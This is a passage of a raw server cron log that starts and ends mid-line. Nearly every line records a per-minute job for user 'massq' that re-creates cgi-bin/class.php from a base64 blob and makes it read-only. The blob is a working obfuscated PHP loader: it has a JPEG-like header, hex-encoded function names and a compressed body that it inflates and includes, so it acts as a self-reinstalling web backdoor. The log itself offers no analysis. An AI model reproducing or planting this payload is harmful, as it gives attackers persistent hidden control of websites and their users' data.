kpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:43:01 server CROND[16347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:44:01 server CROND[16439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:45:01 server CROND[16546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:45:01 server CROND[16548]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 14:45:01 server CROND[16547]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 14:46:01 server CROND[16726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:47:01 server CROND[16867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:48:01 server CROND[16956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:49:01 server CROND[17036]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:50:01 server CROND[17116]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 14:50:01 server CROND[17117]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 14:50:01 server CROND[17118]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 14:50:01 server CROND[17119]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 14:50:01 server CROND[17120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:51:01 server CROND[17250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:52:01 server CROND[17419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:53:01 server CROND[17497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:54:01 server CROND[17568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:55:01 server CROND[17630]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 14:55:01 server CROND[17631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 14:55:01 server CROND[17632]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 14:56:01 server CROND[17764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyI